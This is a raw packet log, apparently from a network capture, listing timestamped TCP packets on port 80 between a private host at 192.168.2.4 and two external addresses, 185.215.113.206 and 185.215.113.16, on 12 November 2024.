Nov 12, 2024 21:21:39.677759886 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677776098 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677777052 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677792072 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677795887 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677809954 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677819014 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677825928 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677831888 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677839041 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677851915 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677856922 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677869081 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677874088 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677879095 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677881956 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677891016 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677901983 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677901983 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677915096 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677927017 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677933931 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677937984 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677949905 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677954912 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677969933 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677978039 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.677982092 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.677997112 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678004026 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678009987 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678021908 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678021908 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678039074 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678047895 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678056002 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678066969 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678072929 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678085089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678092957 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678096056 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678106070 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678107977 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678118944 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678121090 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678133011 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678142071 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678143978 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678157091 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678168058 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678168058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678188086 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678188086 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678206921 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678212881 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678219080 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678227901 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678236961 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678248882 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678256989 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678260088 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678278923 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678282022 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678292036 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678302050 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678303003 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678320885 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678328037 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678350925 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678369045 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678375959 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678381920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678392887 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678406000 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678410053 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678425074 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678428888 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678432941 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678442001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678452015 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678455114 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678474903 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678498983 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678515911 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678554058 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678555965 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678570032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678586960 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678590059 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678616047 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678639889 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678648949 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678658009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678679943 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678680897 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678697109 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678708076 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678719044 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678730965 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678740025 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678749084 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678798914 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678811073 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678821087 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678832054 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678838968 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678843975 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678854942 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:39.678862095 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:39.678889036 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:40.164032936 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:40.164069891 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:40.169236898 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:40.169734001 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:40.946923018 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:40.947074890 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:41.024197102 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:41.029100895 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:41.308064938 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:41.308085918 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:41.308095932 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:41.308142900 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:41.308186054 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:41.311254978 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:41.316478968 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:42.555262089 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:42.555469990 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:42.555835009 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:42.555888891 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:42.557116032 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:42.557168961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:42.557946920 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:42.557993889 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:42.568393946 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:42.573376894 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:43.347810030 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:43.347908974 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:43.374394894 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:43.379555941 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:43.658780098 CET	80	49759	185.215.113.206	192.168.2.4
Nov 12, 2024 21:21:43.658854961 CET	49759	80	192.168.2.4	185.215.113.206
Nov 12, 2024 21:21:43.662731886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:43.667681932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:43.667777061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:43.667893887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:43.672729969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566766024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566788912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566800117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566812992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566874027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.566880941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566894054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566920996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566931009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.566945076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566947937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.566958904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566971064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.566981077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.567018032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.987417936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.987478018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.987739086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.987793922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.988671064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988689899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988703012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988718033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.988739014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.988881111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988924026 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.988941908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988955021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.988981009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.988993883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.989006996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989018917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989048004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.989710093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989721060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989737988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989748001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989753962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.989754915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.989784956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.989809036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.990402937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.990451097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.990462065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.990470886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.990473032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.990487099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.990500927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.992379904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.992433071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.993551016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.993599892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.997493029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.997504950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.997541904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.997555017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.997561932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.997592926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.997720003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.997766972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.997838020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.997881889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998048067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998094082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998146057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998191118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998424053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998447895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998459101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998476028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998488903 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998500109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998512030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.998533010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.998564005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.999268055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.999320030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.999332905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.999346018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.999357939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.999368906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:44.999370098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.999392033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:44.999417067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.000153065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.000204086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.000238895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.000283003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.002799034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.002847910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.002861977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.002872944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.002882957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.002906084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.002928019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.002999067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003045082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003046989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003087044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003151894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003177881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003199100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003222942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003364086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003382921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003411055 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003427982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003551006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003568888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003593922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003611088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003810883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003823042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.003863096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.003982067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004029989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004031897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004070044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004189014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004200935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004210949 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004220963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004240990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004271030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004677057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004693031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004703999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004715919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.004728079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004750967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.004972935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.005021095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.005050898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.005095005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.005151987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.005198002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.005258083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.005304098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.005337954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.005383968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035536051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035579920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035592079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035594940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035605907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035617113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035620928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035636902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035645962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035646915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035659075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035670042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035715103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035737991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035757065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035763025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035768986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035775900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035783052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.035824060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035836935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.035969973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036014080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036081076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036092043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036103010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036108971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036135912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036164045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036173105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036211967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036232948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036243916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036256075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036267042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036303997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036305904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036305904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036307096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036319971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036322117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036331892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036345959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036350965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036364079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036365986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036389112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036396027 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036436081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036448002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036458015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036472082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.036480904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.036493063 CET	80	49762	185.215.113.16	192.168.2.4
